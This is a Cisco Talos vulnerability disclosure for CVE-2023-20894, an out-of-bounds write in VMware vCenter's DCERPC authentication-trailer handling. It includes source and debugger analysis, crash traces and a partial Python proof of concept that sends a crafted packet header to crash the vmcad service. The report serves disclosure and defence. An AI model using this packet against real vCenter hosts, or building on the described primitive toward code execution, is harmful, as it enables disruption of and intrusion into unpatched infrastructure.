Talos Vulnerability Report

TALOS-2022-1658

VMware vCenter DCERPC Improper calculation of authentication trailer pointer

July 13, 2023
CVE Number

CVE-2023-20894

SUMMARY

A memory corruption vulnerability exists in the DCERPC functionality of VMware vCenter Server 7.0.3.01000. A specially crafted network packet can lead to an out-of-bounds write. An attacker can send a malicious packet to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

VMware vCenter Server 7.0.3.01000

PRODUCT URLS

vCenter Server - https://www.vmware.com/products/vcenter-server.html

CVSSv3 SCORE

8.1 - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-823 - Use of Out-of-range Pointer Offset

DETAILS

VMware vCenter Server is a platform that enables centralized control and monitoring over all virtual machines and EXSi hypervisors included in vSphere.

VMware vCenter is a key component of VMware vSphere, typically used in cloud environments, enabling advanced management of VMs. It enables a number of services like certificate management, directory services, single sign-on, etc. Some services use the DCERPC protocol for communication, with the implementation provided by the Likewise-Open library. Specifically, it is used in the daemons for VMware Certificate Management Service (vmcad, port 2014), VMware Directory Service (vmdird, port 2012) and VMware Authentication Framework (vmafdd, port 2020), accessible by default from the local network.

The library provides a custom implementation of lists to track heap objects. For every list type there is a list descriptor that denotes the allocation and deallocation functions for each element, element size, etc. In our case, we are interested in what the library calls fragment buffers that hold data received from the network, with the following definition:

struct rpc_cn_fragbuf_s_t
{
    rpc_list_t                  link;   /* MUST BE 1ST */
    unsigned32                  freebuf;
    unsigned32                  max_data_size;
    rpc_cn_fragbuf_dealloc_fn_t fragbuf_dealloc;                          [1]
    pointer_t                   data_p;                                   [2]
    unsigned32                  data_size;
    unsigned8                   overhead_area[RPC_C_CN_OVERHEAD_SIZE];
    unsigned8                   data_area[1];                             [3]
};

Note that at [1] there is a function pointer that is called when the object is freed. In the initialization of the relevant list descriptor we see:

#define RPC_C_CN_LARGE_FRAG_SIZE        (1024 * 20)
RPC_C_CN_LG_FRAGBUF_ALLOC_SIZE =
        sizeof(rpc_cn_fragbuf_t) + RPC_C_CN_LARGE_FRAG_SIZE - 1,            [4]
...
rpc__list_desc_init (&rpc_g_cn_lg_fbuf_lookaside_list,
                     RPC_C_CN_FRAGBUF_LOOKASIDE_MAX,
                     RPC_C_CN_LG_FRAGBUF_ALLOC_SIZE + 7,                    [5]
                     RPC_C_MEM_CN_LG_FRAGBUF,
                     NULL,
                     NULL,
                     NULL,
                     NULL);
 ...

At [4], the total size of the fragment buffer is calculated as the size of the fragment buffer structure plus 1024 * 20 = 0x5000. This size is used at [5] to initialize the element size in the fragment buffer list descriptor table, adding 7 for alignment reasons.

It is evident that every fragment buffer includes the fragment buffer metadata and the actual data received from the network, denoted as data_area at [3] above, where data_p at [2] also points to data_area. Essentially, the memory layout of the fragment buffer can be visualized as:

[fragment buffer metadata][data area with size 0x5000]

The library parses packets from the network in order to execute the appropriate RPC call. The packet header has the following type signature:

typedef struct
{
    unsigned8  rpc_vers;               /* 00:01 RPC version - major */
    unsigned8  rpc_vers_minor;         /* 01:01 RPC version - minor */
    unsigned8  ptype;                  /* 02:01 packet type */
    unsigned8  flags;                  /* 03:01 flags */
    unsigned8  drep[4];                /* 04:04 ndr format */ 
    unsigned16 frag_len;               /* 08:02 fragment length */
    unsigned16 auth_len;               /* 10:02 authentication length */
    unsigned32 call_id;                /* 12:04 call identifier */
} rpc_cn_common_hdr_t, *rpc_cn_common_hdr_p_t;

We see that the packet header includes lots of information like the protocol version, packet type, the identifier for the RPC call, etc. More importantly, it includes auth_len, a length that is used to calculate the location of authentication information later, in rpc__cn_unpack_hdr(). Here pkt_p is the data_p pointer from the fragment buffer that points to the data received from the network.

   PRIVATE unsigned32 rpc__cn_unpack_hdr
   (
        rpc_cn_packet_p_t pkt_p,
        unsigned32 datasize
   )
   {
       rpc_cn_auth_tlr_p_t authp;           /* ptr to pkt authentication data */
        ...
        authp = RPC_CN_PKT_AUTH_TLR (pkt_p, RPC_CN_PKT_FRAG_LEN (pkt_p));               [6]
        ...
        SWAB_IN_PLACE32(authp->key_id);                                                 [7]
        ...
  }

At [6] the RPC_CN_PKT_FRAG_LEN() and RPC_CN_PKT_AUTH_TLR() macros are used to get the frag_len and auth_len offsets respectively from the header received data. These offsets are then added to the pkt_p pointer to calculate authp. In the relevant macros we see:

#define RPC_CN_PKT_AUTH_TLR_PRESENT(pkt_p) (RPC_CN_PKT_AUTH_LEN(pkt_p) != 0)
...
#define RPC_CN_PKT_AUTH_TLR_LEN(pkt_p) \
	(RPC_CN_PKT_AUTH_TLR_PRESENT(pkt_p) ? (RPC_CN_PKT_AUTH_LEN(pkt_p)  +\
                                       RPC_CN_PKT_SIZEOF_COM_AUTH_TLR) : 0)
... 
 #define RPC_CN_PKT_SIZEOF_COM_AUTH_TLR  8
...
#define RPC_CN_PKT_AUTH_TLR(pkt_p, pkt_len)\
    (rpc_cn_auth_tlr_t *) ((unsigned_char_p_t)(pkt_p) + pkt_len - RPC_CN_PKT_AUTH_TLR_LEN(pkt_p))
...
#define RPC_CN_PKT_FRAG_LEN(pkt_p)        (RPC_CN_HDR_BIND(pkt_p).hdr.common_hdr.frag_len)
#define RPC_CN_PKT_AUTH_LEN(pkt_p)        (RPC_CN_HDR_BIND(pkt_p).hdr.common_hdr.auth_len)

Simplifying the calculation from the macros and the offsets above, authp is calculated as follows:

    authp = pkt_p + frag_len - (auth_len + 8)

Then the code proceeds at [7] to perform a swab operation, namely changing the order of the bytes from big-endian to little-endian.

    #define SWAB_32(field) ( \
        ((field & 0xff000000) >> 24) | \
        ((field & 0x00ff0000) >> 8)  | \
        ((field & 0x0000ff00) << 8)  | \
        ((field & 0x000000ff) << 24)   \
    )
    #endif /* SWAB_32 */
    ...
    #define SWAB_INPLACE_32(field) { \
        field = SWAB_32(field); \
    }

The code at [7] does not check the bounds of the newly calculated pointer. As a result, an attacker can influence the value of authp to point to memory before the start of pkt_p. Since auth_len is of type uint16_t, its maximum value is 0xffff. However the following code in dcerpc/ncklib/cnrcvr.c performs some bounds checking at [8] below:

auth_len = RPC_CN_PKT_AUTH_LEN (pktp);
auth_tlr = (rpc_cn_auth_tlr_t *) ((unsigned8 *)(pktp) +
	fragbuf_p->data_size - (auth_len + RPC_CN_PKT_SIZEOF_COM_AUTH_TLR));

if (((unsigned8 *)(auth_tlr) < (unsigned8 *)(pktp)) ||                                   [8]
	((unsigned8 *)(auth_tlr) > (unsigned8 *)(pktp) + fragbuf_p->data_size) ||
	((unsigned8 *)(auth_tlr) + auth_len < (unsigned8 *)(pktp)) ||
	((unsigned8 *)(auth_tlr) + auth_len > (unsigned8 *)(pktp) + fragbuf_p->data_size) )
{
	...
	st = rpc_s_protocol_error;
	break;
}

As a result, the valid maximum value for auth_len is 0x5000 - 8 = 0x4ff8, meaning that an attacker can make authp point up to 0x4ff8 bytes before pkt_p and perform a swab operation on that memory location, changing the order of the bytes.

This could be used as an exploitation primitive in order to achieve code execution. One possible path to exploitation is to increase/decrease buffer lengths saved in memory that could lead to a buffer overflow. As a PoC, we perform a swab operation in order to corrupt the value of a function pointer in the rpc_cn_fragbuf_s_t structure at [1].

If we manage to set the authp pointer to point to fragbuf_dealloc in the fragment buffer structure, the function pointer will have its bytes swapped. Getting the offsets from the debugger is easy enough:

gef➤  p/x &fragbuf_p->data_area
$10 = 0x7fffb8000900
gef➤  p/x &fragbuf_p->fragbuf_dealloc
$12 = 0x7fffb80008e8
gef➤  p/x 0x7fffb8000900-0x7fffb80008e8
$13 = 0x18

So the function pointer resides 0x18 bytes before the pkt_p pointer. From the simplified calculation for authp we have

authp = pkt_p + frag_len - (auth_len + 8)

Solving for auth_len and conveniently setting frag_len to 0, we get auth_len = 0x10. In essence, setting the auth_len to 0x10 will cause authp to point to the location of the fragbuf_dealloc function pointer in fragbuf_p. Note however that at [7], the swab operation is performed at authp->key_id, which resides 4 bytes after authp, as seen at [9] in the structure definition below.

typedef struct
{
    unsigned8 auth_type;               /* :01 which authent service */
    unsigned8 auth_level;              /* :01 which level within service */
    unsigned8 stub_pad_length;         /* :01 length of stub padding */
    unsigned8 reserved;                /* :01 alignment pad m.b.z. */
    unsigned32  key_id;                /* :04 key ID */                                   [9]
    unsigned8 auth_value[1];           /* :yy [size_is (auth_length)] credentials */
    /* No trailing alignment needed here */
} rpc_cn_auth_tlr_t, *rpc_cn_auth_tlr_p_t;

Finally, since in the x86-64 architecture the function pointer will be 8 bytes, the last 4 bytes of the function pointer will be swapped. Since the pointer is saved in little-endian however, the 4 most significant bytes of the function pointer will be swapped. Before the corruption, inspecting the function pointer yields the value:

gef➤  p/x fragbuf_p->fragbuf_dealloc
$11 = 0x7ffff7cf2218

Where 0x7ffff7cf2218 points to rpc__cn_fragbuf_free(), responsible for freeing the object. After the corruption and continuing the execution, the program crashes at _RPC_CN_ASSOC_EVAL_NETWORK_EVENT() where the function pointer is called.

Thread 86 "vmcad" received signal SIGSEGV, Segmentation fault.
0x00007ffff7cfc75e in _RPC_CN_ASSOC_EVAL_NETWORK_EVENT (assoc=0x7fffbc0009a0, event_id=0x67, fragbuf=0x7fffb40008d0, st=0x7ffff4520194) at ../../../dcerpc/ncklib/cninline.c:136
136             (*(fragbuf)->fragbuf_dealloc)((fragbuf));
gef➤  x/i $pc
=> 0x7ffff7cfc75e <_RPC_CN_ASSOC_EVAL_NETWORK_EVENT+132>:       call   rax
gef➤  i r $rax
rax            0xff7f0000f7cf2218  0xff7f0000f7cf2218

The function pointer is now 0xff7f0000f7cf2218 leading to a segmentation fault. Note that the 4 last bytes of the function pointer remain the same, but the first 4 bytes of the pointer are swapped compared to the previous value of the function pointer.

Crash Information

gef➤  backtrace
#0  0xff7f0000f7cf2218 in ?? ()
#1  0x00007ffff7cfc760 in _RPC_CN_ASSOC_EVAL_NETWORK_EVENT (assoc=0x7fffc00009a0, event_id=0x67, fragbuf=0x7fffb80008d0, st=0x7ffff4520194) at ../../../dcerpc/ncklib/cninline.c:136
#2  0x00007ffff7cf63c6 in receive_dispatch (assoc=0x7fffc00009a0) at ../../../dcerpc/ncklib/cnrcvr.c:1255
#3  0x00007ffff7cf4e55 in rpc__cn_network_receiver (assoc=0x7fffc00009a0) at ../../../dcerpc/ncklib/cnrcvr.c:349
#4  0x00007ffff7c6fead in proxy_start (arg=0x7fffc0000bf0) at ../../../dcerpc/libdcethread/dcethread_create.c:100
#5  0x00007ffff751ff87 in start_thread () from /lib/libpthread.so.0
#6  0x00007ffff741062f in clone () from /lib/libc.so.6

Exploit Proof of Concept

Apart from a carefully selected auth_len, it is easy for an attacker to craft such a packet header. In the packet header structure, we have:

typedef struct
{
    unsigned8  rpc_vers;               /* 00:01 RPC version - major */
    unsigned8  rpc_vers_minor;         /* 01:01 RPC version - minor */
    unsigned8  ptype;                  /* 02:01 packet type */
    unsigned8  flags;                  /* 03:01 flags */
    unsigned8  drep[4];                /* 04:04 ndr format */ 
    unsigned16 frag_len;               /* 08:02 fragment length */
    unsigned16 auth_len;               /* 10:02 authentication length */
    unsigned32 call_id;                /* 12:04 call identifier */
} rpc_cn_common_hdr_t, *rpc_cn_common_hdr_p_t;

The code appears to only issue a warning in the case of protocol version mismatch. Also, there are many packet types that hit the vulnerable code path, like RPC_C_CN_PKT_ALTER_CONTEXT = 0xe, RPC_C_CN_PKT_BIND = 0xb, etc. The other values can be pretty much set to zero. In addition, at least 10 bytes of zeroes appear to be needed after the header, which we provide as padding. We add 0x1000 bytes of A’s in order to satisfy the code responsible for receiving data.

	...
    header = bytearray().join([
        struct.pack(">B", 0x00),       # version
        struct.pack(">B", 0x00),       # version minor
        struct.pack(">B", 0x0e),       # ptype
        struct.pack(">B", 0x00),       # flags
        struct.pack(">I", 0x00),       # ndrep
        struct.pack(">H", 0x0000),     # frag_len

        struct.pack(">H", 0x0010),     # auth_len

        struct.pack(">I", 0x1337),     # call id
    ])

    padding = bytearray(b'\x00'*0xa)
    payload = bytearray(b'\x41'*0x1000)

	...
    sock.send(header)
    sock.send(padding)
    sock.send(payload)
	...

In vCenter we see the the following in dmesg:

[ 7462.920062] traps: vmcad[12810] general protection ip:7fcdb6f151d7 sp:7fcdb012ffd8 error:0 in libdcerpc.so.1.2.0[7fcdb6e97000+b7000]
VENDOR RESPONSE

The vendor provided an advisory and fixes: https://www.vmware.com/security/advisories/VMSA-2023-0014.html

TIMELINE

2022-11-15 - Vendor Disclosure
2023-06-22 - Vendor Patch Release
2023-07-13 - Public Release

Credit

Discovered by Dimitrios Tatsis of Cisco Talos.